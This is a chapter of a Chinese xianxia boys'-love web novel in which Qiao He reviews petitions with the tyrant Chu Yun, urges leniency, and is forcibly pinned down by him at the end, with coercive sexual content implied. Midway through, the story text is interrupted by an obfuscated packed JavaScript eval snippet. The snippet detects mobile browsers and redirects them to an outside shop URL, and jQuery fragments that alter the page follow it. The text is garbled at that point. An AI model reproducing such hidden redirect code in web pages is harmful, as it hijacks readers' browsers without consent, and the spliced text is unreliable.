乔鹤被搞得半天没缓过劲，寝宫一片静悄悄，没有热烈的呼吸纠缠。他一动手指，窗幔散下，绸缎低垂，随窗外透进的海风，微微摆动。


    腰身往下，动也不敢动，比之受刑，有过之而无不及。乔鹤运转周身灵力，舒缓难以启齿的酸痛。


    上男人，和被一个男人上，对身心直如钢尺的乔鹤来说，全是这辈子不会想的事，既然不会想，也就没有特意抵触厌恶。除非过来一个男人告诉他，“咱俩试试。”乔鹤必然毫不犹豫拿拳头狂揍他，大骂恶心。


    再次一点，万不得已，必须跟男人上床，他绝对还得保持男人的特征，当“上”的那个，咬咬牙，干完了事。


    但当雌伏被动的那个，乔鹤难以接受。除却浑身的酸痛与酥麻，最难受的还是心里那道坎，哪怕身体做了十几次，还是膈应，还是抗拒，心想，这辈子一次就够够的了，那种地方，怎么能一直做那种事！


    乔鹤心想：“今日三家仙门大举倒戈，褚云心情必然不好，回来后，我要劝说他停战，更加困难，甚至适得其反，看来得逗留几天，见机相劝，唉，这几天有得熬了。”


    他摸了摸自己丹田，此刻已是金丹后期，因常年吃提升修为的丹药，破境之势渐显，再过半年，就得闭关修炼，力攀元婴境。在突破元婴境前，必须要赶回仙门。闭关期间一着不慎，损耗修为事小，只怕会丹田崩溃，走火入魔。


    又思索原著中剑仙出世，褚云战败的剧情线。玄门仙宗合纵连横，在剑仙的率领下，打上灵河洲，剿杀暴君，之后褚云修为尽废，麾下爪牙逃散。


    再之后，又是美女相救，东山再起，填充后宫……念及此，乔鹤心里一动，关键剧情一直在走，但褚云这人，一个妹子也没收 ，不可思议。又想到离开三沟村后，褚云与自己的种种言行，心道：“不会是为了我吧？”


    乔鹤怔忡半晌，心绪翻转，不过身体过于疲倦，蜷身将睡未睡之际，还在分析，褚云所为，是基于床事的快感，个人的报复心，还是别的什么东西？


    烛灯燃起，乔鹤一睡睡到天黑，醒来后，听见衣袖擦拂的窸窣声，以及某个东西砸到地面，发出极轻微的动静。扭脸朝外看去。褚云玄衣披发，背靠床畔，屈腿而坐，随手拿起一本册子，打开，极快扫一眼，接着扔到七八步外。


    “你在干什么?”乔鹤咬着牙坐起身，斜靠床头，竭力做出云淡风轻的神采。


    “公文。”说着，褚云又把一本公文极为不悦地扔开，转过身，手肘搭在床沿，面容从处理公事的冷肃转为些许温柔，“被我吵醒了？”


    乔鹤道：“没有，该醒自然会醒。”目光一转，瞥到地上扔的随处都是的公文，以及公文下面，厚实的软毯，怪不得扔册子的动静，轻微至极。也不知他何时铺上的。


    褚云之前对乔鹤离开他的怨气和恼恨，经过昨晚一夜，现在已不剩多少，心中冒出缕柔情，就想一直这样下去。念头一起，那些积攒许久的公文卷宗就被他拿出来，一一批复，但四方境域，呈上来的公文坏事多，好事少。两个门派打架，还敢互相告状，浪费他时间 ，越看越烦，不如全部炼成走尸，清净好使。


    翻身坐到床上，伸手去握乔鹤的手，被躲了开来，褚云动作微微一滞，面不改色，再次握了上去。乔鹤实在怕听到那些脏污的东西，对着褚云这张秀美出尘的脸，极其割裂，极其悚然。


    “怎么了，我哪里做的不对？”褚云细声低语，长眉轻挑，另一胳膊环住他肩背，明明体型比他修长健壮，头却要靠在他的肩膀，做出乖巧之状。


    乔鹤不作声，隔了半晌，没听见褚云心声，顿时大松一口气。“没事，睡得太久，有些发懵，这些公文怎么惹到你啦，扔的满地都是？”


    褚云双指一弯，躺在地面的一本公文，凌空飞来，铺展在二人眼前。他轻笑道：“惹到我的不是公文，是写公文的人，三百句话，二百八十八句阿谀奉承，剩下一十二句，则向我借人除妖，没用极了。”


    乔鹤看完后，将公文合上，放到一边 ，体谅道：“确实没用，下次你可以告诉他们，有什么事，开门见山的说，再让下面的人，制定呈送文书的格式，这样便好多了。这道文书批了吗？妖物作乱，不是小事。”


    褚云懒懒“嗯”了一声。


    乔鹤看一眼外面的景色，海面乌黑，半月斜出，道：“我来时，看见一个孩子，跪在宫殿的长阶下，说要替父求情。”顿了顿，目光略低，看向褚云抵在肩头的侧脸，见他神色宁静，似在仔细倾听，接着道：“看在他年纪小，孝心深重，人又坚韧聪慧，这心性有几分像你，从轻处置这孩子的父亲吧。”


    褚云手指勾着乔鹤垂落胸膛的青丝，隔了半晌，才轻声道：“我倒不知道此事，这些仙门狗咬狗，急着表功，牢中不知关了多少无辜的修士，末了，还要把昏聩暴戾，不辨是非的罪名，加在我头上。”


    “……”乔鹤心道：“你说这些话，把自己摘得一干二净，还像受了天大委屈，那些仙门敢这样做，还不是你纵容推动的？”对上褚云斜撇而来的目光，只笑而不言。


    褚云头从他肩上抬起来，坐直身体，想了想，打了一个响指，大殿外侍候的俊雅青年，无声无息走了进来，垂首静立。褚云把那孩子的事说了，叫他带着那孩子，将事情解决了。青年领命离去。


    乔鹤目视他离开 ，疑道：“越看越眼熟，但想不起在那见过？”


    褚云弯起眉来，听见但不答，又没骨头一样，靠了过来。乔鹤心里打怵，忙道：“索性没事，我和你一起把这些公文看完，积攒这么多，下面的人也该着急了。”


    褚云当然清楚他的算盘，两根手指支了支脸颊，笑道：“好啊，你看吧，我帮你打下手，我看，今晚是别想睡了。”


    那可谢天谢地。乔鹤心底吁了口气，强打精神。褚云手捧着打开的公文，殿内烛光明亮，照得字迹清晰，纸张发透，乔鹤一行行往下看，去掉夸大虚伪的修饰词，去掉天花乱坠的主观说辞，小半时辰，零零总总看了十来份。


    某某仙门明年没钱招收弟子，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869859|186825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想上面拨点款……


    某某仙门跟某某仙门打架，公说公有理，婆说婆有理，要帝君评评理……


    某某仙门告发某某仙门有不轨行为，请求严惩……


    ……


    “两家抢一块宝地，谁也不肯相让，一家说宝地是他们先发现，另一家说，这宝地按地域划分，该在他们境内，你觉得判给哪一家好?”乔鹤侧过头，见褚云眸子微微下垂，脸颊贴在他肩头，呼吸清浅，似乎睡着了。


    听见乔鹤的询问，把公文一合，眯着眼低声道：“贪心不足蛇吞象，让他们两家斗去，谁斗赢了，便给谁。”


    乔鹤不认同，“输了那一家，对赢了那家有怨，对你这不主持公道的帝君也有怨，说不准以后，也会像今日三家仙门，直接叛变呢。”


    褚云轻然一笑：“他们不敢。”


    “你怎么知道他们不敢？”乔鹤顿了顿，瞬间了然，问：“那三家仙门，你如何处置？”


    褚云抓着他的手，把玩他淡粉秀气的指甲，一直没戴上那双墨色手套，看来确信乔鹤听取不到他心中所想，“我知道，你不想我杀太多人，在你孜孜不倦的劝说下，我只杀了三个掌门，谁服从我，我便让谁做掌门，这总没错吧，你说呢？”


    “……”乔鹤若站在褚云这方，便觉得他说得没错。他思绪交错不定，最后什么也没说，转过话题，道：“那将这本批复了，看下一个。”


    褚云道：“明日我要去一趟妖界，免不了一场恶战，今晚早些休息，我实在有些困了。”说话间，打了一个哈欠，眼角发红，似乎困得不行，一贴枕头，便能昏睡过去。


    乔鹤想了想，道：“你去妖界干什么？”


    妖界主要指妖王定居的区域，周边设有古老强大的境界，非其族类，无法进入，除非受到妖王的邀请，但褚云的架势，不像被邀请做客，更像去端人家老窝。


    褚云道：“不是杀人。”


    乔鹤心道：“你跟我玩什么咬文嚼字，妖界哪有人给你杀？”拍了拍他的胳膊，要他清醒一些，肩膀陡然一轻，褚云转为斜靠床头。乔鹤看过去，笑道：“到了妖界，你不杀人，到了人界，你不杀妖。这样一想，你实在很讲原则了。”


    褚云被他逗笑，仰起头，喉结上下滚动，眉眼透出懒散又危险的气息，“当然，做人有做人的原则，当鬼有当鬼的原则，你看，我真的很困了，”他伸出手指，指了指睁不开的眼角，“当人的原则，第一条，便是困了就要睡。”


    乔鹤打趣道：“那当鬼的呢？”


    笑容未尽，殿内重重灯火，齐齐熄灭。


    偌大殿宇陷入黑流，伸手不见五指。


    鬼魅顿现，横行无忌。


    乔鹤全身觳觫，暗道：“不好！”双手结阵，光印方亮，一只雪白修长的手，伸到眼前，抓住他的衣襟，力量极为强悍，一把拽过，乔鹤又被按在团团锦被之中。


    “要你。”


    乔鹤被强行翻过去时，从高处模模糊糊传来两个字，带着高兴得逞的得意。